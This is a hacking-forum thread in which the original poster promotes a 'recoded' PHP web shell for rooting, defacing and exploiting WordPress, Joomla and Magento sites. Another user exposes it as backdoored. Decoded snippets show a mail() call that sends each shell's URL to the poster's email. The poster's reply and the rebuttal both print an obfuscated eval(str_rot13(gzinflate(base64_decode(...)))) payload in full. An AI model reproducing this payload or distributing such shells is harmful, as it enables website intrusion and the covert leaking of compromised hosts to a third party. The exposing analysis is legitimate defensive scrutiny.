

Forum:[Hack Forums](#)

Thread: [PRIV8 SHELL RECODED BY ME - UNDETECTABLE / NO LOG / NO ENCRYPT](#)

--00-- - August 6, 2016, 10:22 am

Here is the newest shell for exploiting, have a lot function

root , deface , symlink bypass, magento, wordpress, joomla, and many more.

the shell is not encrpyt so you can check there's no log script :)

enjoy it

[pastebin.com/snVKmNw6](#)

Kashmiri Hunter - August 6, 2016, 11:13 pm

Oh Good.Thanks For Sharing.

r421x0 - August 6, 2016, 11:17 pm

eco 'center--00-- Shellhr>IndoXploit Shell Recoded By --00--br>For More Script Visit a
href"http://cr1p.blogspot.com/">Here</>'

https://1.bp.blogspot.com/-Y7eA8dRMIHs/VzcWdGHODGI/AAAAAAAAABrw/JnWtGSYYMPgHtbnXmO3AHqdMB2dnH0npACLCb/s1600/Screenshot_2.png

???? i am assuming you do not own that site right lol

surelyenough - August 7, 2016, 2:23 am

But there is a log script, it's backdoored you fucking meme.

this shell is a butchered version of <http://pastebin.com/nC6pWh5a> which is the official IndoXploit shell. However unlike IndoXploit your shitty bootleg shell on line 668 contains a series of decoding functions. Specifically: str_rot13, gzinflate, str_rot13, base64_decode.

After decoding them, you'd want to look at

```
Code if (!empty($theurl)) {
```

```
    @mail("syedich@yahoo.com", $judul, $body);
```

```
}variables $judul and $body being a string containing "shell: $url" $url being the function parameter that is the $host. $theurl will always be empty, you're calling the function with a parameter thus the condition will always be met. You get the idea.
```

Files to be created on `dirname(__FILE__)` are also sampah.txt and hasil.txt viewed on both instances of variable \$fh. They contain the current URL of the shell.

Also unlike IndoXploit, in your shitty code in function CreateTools() at line 218 defines backdooring variables and never uses them. What? Is this an after-thought? Did you plan a second backdoor and forgot to use it?

```
Code $a= "".$_SERVER['SERVER_NAME']."";
```

```
$b= dirname($_SERVER['PHP_SELF']);
```

```
$c = "/00_tools/".$names.".php";This is really fucking with me because I hate stupid useless code and I usually have low self-esteem which means I'm only calling bullshit if I look at a script for half a hour at least and only then I start to question if I'm the idiot or the coder is the idiot. Your horrible
```

coding habits made the implants stand in awfully easy. You're not only stealing someone else's work, you're also backdooring it with horrible horrible sub-par PHP scripting abilities. You're the worst, desu.

NOTE TO ANY WEBSEC BEGINNERS:
NEVER USE ANY SHELLS YOU DID NOT CODE
IF YOU CAN NOT CONFIRM ITS CLEAN DONT USE IT
But for your pleasure, there's a good one that is confirmed clean.
<https://hackforums.net/showthread.php?tid=2610338>

--00-- - August 7, 2016, 3:20 am

its not my website, but i just recode. dude i test it and no log inside. you found in another shell not the shell that i share.

surelyenough - August 7, 2016, 3:26 am

(Aug 7, 2016 03:20 AM)--00-- Wrote: [\[CITE\]](#) its not my website, but i just recode. dude i test it and no log inside. you found in another shell not the shell that i share.

[img]http://cdn.instructables.com/FXN/NQ0R/I8H66O05/FXNNQ0RI8H66O05.LARGE.gif[/img]

This is the shell you shared: pastebin.com/snVKmNw6

Go to line 668 and decode it. Tell me what you got.

OP is a confirmed memmer

googling his email leads you to another tool he backdoored and tried to pass off as a tool elsewhere

<http://ddecode.com/phpdecoder/?results=17c85a31e1cb63256d226e0356c517c6>

it also leads to his deface: <http://pastebin.com/raw/6JA72K8m> #IndonesianCodeParty kek

this can't possibly get any worse

--00-- - August 7, 2016, 3:53 am

yes bro but its only when they access ?do=shellchk

```
elseif($_GET['do'] == 'shellchk') {
```

```
    eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9
FeJtGhPaygyLZ5B6jc5AaHORP/fdf5loXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5N
c1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCICZFCxqGVUES63F8XGSylAx3jr+oAT
X45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpl0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0
M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyAdr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85
pEzrYVoNF2ujEg0OX0jJ1duvpWIW+hORmhxQIEINvPuS/inBksxEA98JsNaPjRliU9civj2FpYL5jhEI
wWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmUx6
SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QaylrWnG3A59y6ibiMjrDMd9OI+9UfcyU9Qsv
B3W5VwT4eDHam5xc85F8ACd40q3EvfeMxAde3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8
Y097nXM6vJACLFvCEct6lWamfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCc
CQcELBxy9Y8DbOjFY2nF26JfF8lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZ
MzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYlaupzSEqntthpHSeYK2aXmfYEWLxq
ojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsl//AU=''))))));
}
```

surelyenough - August 7, 2016, 4:02 am

(Aug 7, 2016 03:53 AM)--00-- Wrote: [\[CITE\]](#) yes bro but its only when they access ?do=shellchk

```
elseif($_GET['do'] == 'shellchk') {
```

```
eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9
FeJtGhPaygyLZ5B6jc5AaHORP/fdf5loXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5N
c1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OClcKZFCxqGVUES63F8XGSylAx3jr+oAT
X45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpl0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0
M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85
pEzrYVoNF2ujEg0OX0jJ1duvpWIW+hORMhxQIEINvPuS/inBksxEA98JsNaPjRliU9civj2FpYL5jhEI
wWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmUx6
SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QaylrWnG3A59y6ibiMjrDMd9OI+9UfcyU9Qsv
B3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8
Y097nXM6vJACLfVCEct6lWAMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCc
CQcELBxy9Y8DbOjFY2nF26Jf88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZ
MzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYlaupzSEqntthpHSeYK2aXmfYEWLxq
ojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsl//AU='))))));
```

}Yes, and they do that once they press the shell checker feature

Code echo "[Shell Checker]";please stop this is hurting both you and me

you've already been exposed, there is no point playing the retard game

because you already won it

leave this forum willingly before I report the thread and have you leave unwillingly, thanks